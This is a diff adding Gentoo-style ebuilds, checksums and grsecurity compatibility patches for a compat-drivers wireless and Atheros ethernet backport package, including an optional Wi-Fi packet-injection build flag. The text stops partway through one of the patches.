+AUX 3.8-grsec/20-version-disagrement-iwlwifi.patch 2832 SHA256 7f89d1c6c61735874a7c3efec1c51f7aaed05b7a59cb97e3e25e4929bbbcfc42 SHA512 2f156ba0626404234d77fe0309e8f9ef7bdaa67f2efd6c46fe3ebc7616b6b9ab27c9bb6fe0a57b97e63c3a1c31994731c569f9eb0489897e7120810325a1bd98 WHIRLPOOL e8aab7f6137b8660a6c8b78fa1900dfb600a2ca9ba14c3e1f5f75c8c24ed2d3aad5b5936c6f01a76d990871abafaab1e21d9e8522611fa2f57c79a45927bdaa6
+AUX 4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch 559 SHA256 2c9222e0c6aaafabac091766c7e0a71442f0e9521ec1c65fc7024fbca60a3354 SHA512 9bf0b852a4ffc66afc12fc60c3fc683d689a45ff5e18470db68f25f001e14fc09c813aa01fec2b4583af1c19141e748a10c7dfd6022d727cb8cf245f6c33a2ff WHIRLPOOL 2efd4c3f2d58a833be803df6034e01d3601cb1891921fe2031c50a241a3f5e8a9e8d54aa0b29566fcc6b2bac71d48e504a3f88585a1049884e0a5986724048a1
+AUX 4004_zd1211rw-2.6.28.patch 1412 SHA256 6696295acb2a8d12a33208525cba9ce8bd2971c9c0adaabb31debfa9ec15c7be SHA512 2aa73fa8e87cb06220b589f528ba25fcec818a14a98a8d5f1173b12c287ee85e48981a48bbce772aa7fc24a33a833df2eb5bc7af0d569ea8c839090c481566ec WHIRLPOOL 4245c75995d7579b9fcc0aa1412b4f9bc4a3a924076aca24b466658740a99b0592c293420c39a616a6241ec4dce213496bf4317b73fd4b94ab1dcefbe5130382
+AUX ath_regd_optional.patch 906 SHA256 ebf117d071363e854505c18aef8c9af2652fd4a7b9cc5efe961cf5efb410dbd7 SHA512 dddc5e428f7d2a372ac17cce913c397ac408e20eb17af55633ea8984d6e69e8f7fe134436a4176606740d64fd66579c6a30a358cac393cb22f9a09d10f66e9d3 WHIRLPOOL b46164a1444d74f22d0e4f1e02ed556b52f87d5132871698ab93abd2076656e4ecadb7dc914d571df15a9bd18169ebaef67d4539a7919f1e2ffdd3df3b60cd90
+AUX compat-drivers-3.7_rc1_p6-grsec-warnings.patch 1261 SHA256 d960b976fe4e82beb2ceba3cc3eccdd064f54d9cc269f2b08d351c5a7fb528f7 SHA512 044020bacf79790f5ce10c0373f05568dfca2456f0087b3a04e5162b7602fb97371923acc6987d8732a64373ad77a4df65dae90f55e2bd7b20757f0b32d6af8c WHIRLPOOL d4b61222a97d496516575ff1bee4b9bec0d86fe9115a4ea4789b994fb1890444c568f866b4289f2ecaf9a399aec7453588aa6a842e7c48bce61320d48cd2eb86
+AUX compat-drivers-3.7_rc1_p6-grsec.patch 356575 SHA256 aefac7264cd36791af4194a4c9ed5a5a90a68d51c3ef1ba1af280c263ad394e2 SHA512 6aa48f042efac4c9a94ca7592f548e6dc5b8796c56a1827239b9d2e357ba23d14373b986e4cd789aedf07ce0a02eca2bdd3304a0bef751b8914367c9dc1b7fff WHIRLPOOL 986b202f601b4efb894ed8b0ab39f099af14b61deb687f670c83c3a587947e83b1180910d79bb701a6c5c92607ab529f6be229f840844cb08efaef165a83123f
+AUX compat-drivers-3.8-ath6kl.patch 1415 SHA256 53510c3ee47144a77cf4514e016d62e43f8c92be1480f930b5ddbcc311be53fd SHA512 e88c0e7a0ebf4740643ab7a44b67e452a5ecea990ebca33ef608bec3072b0888f0d27e8bac1f452dd78efe889a7eff0a3ccd000b7d78ea50148e97297bf3590c WHIRLPOOL 47ed0e6e8364f48f7f2aa3dae9effba16a00dab43adbef110dd56e042455bcab112c064fd222b802faa45d24a15d18e92e52bf99b91f719c925dc39d90a6a483
+AUX compat-drivers-3.8-bt_tty.patch 1295 SHA256 e1307946a4ed6185b1850d95f3920ff747e584e6b23dad95220c8b0809fe6de1 SHA512 a4f5e68cb2e7e8972c9271d9519c688fe26cf0ba35b925ecd2270668d4ac8d22a25137596a07cc106cca53afe31e7771d77151b4e4361c22d3332ae5920062ee WHIRLPOOL ff3fe54d241411d5885e002571226247933d8e5d85e5786c2ffeb0ab6637b5c692c362beae5f85b0454ff01454f3277b11f339aeef0d9da4cb71d4356cc9101e
+AUX compat-drivers-3.8-driver-select 22310 SHA256 31d7fc0eaa6f7a9528b1dbf948af9e9b4d5990f9a7fe3e060030a6108e0ce457 SHA512 67650594fe29a277bb1a2c1e0beebb11610b001a205abd14c42b996a49a47bd94eecf5ad265a3b53ecef3db7732624b37ecf9ef3dda62278c266d7cdb84a743b WHIRLPOOL 32e4e11eab76ea22555f481d9e15256dc09b1760b0e63a78d0f18a9a9dcfcb1b726ee90b7ea47ddf9a6f60e07c94e73115f6f2c6d35030ff9df79cdee69d6339
+AUX ipw2200-inject.3.4.6.patch 4173 SHA256 0b649bd7b6d2bf22667edc96949b5ab92cc7fb5c543b4385c17c5e0f47fe4109 SHA512 ebee3efda7b94898ea18a89f57c515d5237ef3c2a1eaf0bd13949ec4663a600eadede4655178355ac3f5b8ddc2eccc2cceb88eba0281ed3f614ada186a041463 WHIRLPOOL 15d94b3176719d006363f4d42a11c505643fdead8d521ccfb149cf5eee8851488aa006d4f8c750ffb5e81b23ff03d275e5fde781505e508467ff76303e612570
+AUX leds-disable-strict-3.6.6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+AUX leds-disable-strict-3.7_rc1_p6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+AUX leds-disable-strict-3.8.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f
+DIST compat-drivers-3.8-rc5-1-u.tar.xz 5299080 SHA256 0952e211e7352bbb4b236853c751ab4ffffebf4923517316f9579e644e0eabc8 SHA512 bc80b129d709aaf7eb76d6ec388d4b76ce60eb9a61101eae8ad6a43c09097d927651f462810735f56e53b035f3b7ce3c422a2894ca4ccca234bba9c61850877c WHIRLPOOL f31192ad24b81f55d7bcf1b03ddc70b6e9d20acd8f106ab7edcfd8a461d44270d1deb1d87451f540e050c04bef2ec20524d75777357a7ebc56ef76baa7257d21
+DIST compat-drivers-3.8-rc7-1-u.tar.xz 5301132 SHA256 b53ddac5b0423d72d3945235637cbbb4559b5b527bd74d4cc9dd9e098efad4c6 SHA512 ee8f72d2acfb0aa41e90268fc68f1c42d87a7e14597f7866dd9c96a00dd8ea318b92a5b25e499d65e00b617600baa09cfc639379465e306f54f73689c3fc93c1 WHIRLPOOL 98a0b602e67f6f305f4795b8a53ad87bcabd282aa45d5e74c5c1add07084fb97fbac1d651e59e6f6a4838a4084f5d5418d59a7d49441613f91df33172b480582
+EBUILD compat-drivers-alx-3.8_rc5.ebuild 6958 SHA256 acb8407d6578d328c06e969314807736c9b52c6eeba7c2db3ec4a86a18c32c35 SHA512 a0349518e8de6683b8d63d3ecd695442887d681c34c12d7a38095aa6f924917c138544598f13a835dd0f05da72c9b3c34a1824b1d27449477c846ccdb02cf28b WHIRLPOOL ec2dd2dc2f0d56b143d345d6e7075367aaa690ad857c0976383963e8f5dc27a6d7219bd8cf1bbb5d275d147bf551faf11cb85e37114c82c18e0f2e19648a73f8
+EBUILD compat-drivers-alx-3.8_rc7.ebuild 7253 SHA256 d763f2519fadbc9b43e68561070b53d8fcf06bb0eab87c3d20bcad7bfec85766 SHA512 69c5acd4d67ac79d5a64717db2d9ab727dd5f6e865282e04302eda8b2547307a6459b902f2de8bc105a75b4e6164546b97fbe94a7d2c01855f36145e95035f12 WHIRLPOOL 0a4ad03a00636a138a2be5c70bcfbcccfc25d326cbdebc5d126a5b458da718990b042adc6187eee91b0c71b57e7fc3f8ba6e8dba08320c9acb54206a95c66fdf
diff --git a/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc5.ebuild b/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc5.ebuild
new file mode 100644
index 00000000..874a38cc
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc5.ebuild
@@ -0,0 +1,178 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wl1251 wl12xx zd1211rw"
+# This might work (not officially supported)
+CPD_USE_EXPAND_wifi+=" wl18xx"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_wifi+=" b44"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="atl1 atl1c atl1e atl2"
+# This might work (not officially supported)
+CPD_USE_EXPAND_ethernet+=" atlxx"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+# This might work (not officially supported)
+CPD_USE_EXPAND_various+=" bt drm"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_various+=" staging usbnet"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.7
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+MY_PN="compat-drivers"
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PVR}/${MY_PN}-${UPSTREAM_PVR}-1-u.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${MY_PN}-${UPSTREAM_PVR}-1-u"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat drivers to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat drivers you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use compat_drivers_wifi_b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.7_rc1_p6-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.7_rc1_p6-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+        insinto "${DESTDIR}"/lib/modules/"${KV_FULL}"
+        insinto "/lib/modules/${KV_FULL}/updates/drivers/net/ethernet/"
+        doins -r "./drivers/net/ethernet/atheros/"
+
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc7.ebuild b/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc7.ebuild
new file mode 100644
index 00000000..e80c50be
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/compat-drivers-alx-3.8_rc7.ebuild
@@ -0,0 +1,186 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wil6210 wl1251 wl12xx zd1211rw"
+# This might work (not officially supported)
+CPD_USE_EXPAND_wifi+=" wl18xx"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_wifi+=" b44"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="alx atl1 atl1c atl1e atl2"
+# This might work (not officially supported)
+CPD_USE_EXPAND_ethernet+=" atlxx"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+# This might work (not officially supported)
+CPD_USE_EXPAND_various+=" bt drm"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_various+=" staging usbnet"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.8
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+MY_PN="compat-drivers"
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PVR}/${MY_PN}-${UPSTREAM_PVR}-1-u.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${MY_PN}-${UPSTREAM_PVR}-1-u"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat drivers to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat drivers you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use compat_drivers_wifi_b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.7_rc1_p6-grsec.patch
+	# use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.8-grsec-readonly.patch
+	if use pax_kernel; then
+		for gpatch in "${FILESDIR}"/3.8-grsec/*; do
+			epatch "${gpatch}"
+		done
+	fi
+	# upstream might want to see this
+	use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.8-bt_tty.patch
+	# use pax_kernel && epatch "${FILESDIR}"/${MY_PN}-3.7_rc1_p6-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	insinto "${DESTDIR}"/lib/modules/"${KV_FULL}"
+	insinto "/lib/modules/${KV_FULL}/updates/drivers/net/ethernet/atheros/alx/"
+	doins "./drivers/net/ethernet/atheros/alx/alx.ko"
+
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/00-read-only.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/00-read-only.patch
new file mode 100644
index 00000000..a7066c36
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/00-read-only.patch
@@ -0,0 +1,23 @@
+--- ./include/net/bluetooth/bluetooth.h
++++ ./include/net/bluetooth/bluetooth.h
+@@ -206,7 +206,7 @@
+         struct file_operations   fops;
+         int (* custom_seq_show)(struct seq_file *, void *);
+ #endif
+-};
++} __no_const;
+ 
+ int  bt_sock_register(int proto, const struct net_proto_family *ops);
+ int  bt_sock_unregister(int proto);
+--- ./include/net/mac80211.h
++++ ./include/net/mac80211.h
+@@ -2652,7 +2652,7 @@
+ 				     struct ieee80211_chanctx_conf *ctx);
+ 
+ 	void (*restart_complete)(struct ieee80211_hw *hw);
+-};
++} __no_const;
+ 
+ /**
+  * ieee80211_alloc_hw -  Allocate a new hardware device
+
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/01-read-only.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/01-read-only.patch
new file mode 100644
index 00000000..88ecf46f
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/01-read-only.patch
@@ -0,0 +1,12 @@
+How/why does this even work?
+--- ./net/wireless/core.h
++++ ./net/wireless/core.h
+@@ -28,7 +28,7 @@
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/02-read-only-ath.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/02-read-only-ath.patch
new file mode 100644
index 00000000..ddb69f6b
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/02-read-only-ath.patch
@@ -0,0 +1,240 @@
+--- ./drivers/net/wireless/ath/ath.h
++++ ./drivers/net/wireless/ath/ath.h
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+--- ./drivers/net/wireless/ath/ath9k/ar9002_mac.c
++++ ./drivers/net/wireless/ath/ath9k/ar9002_mac.c
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
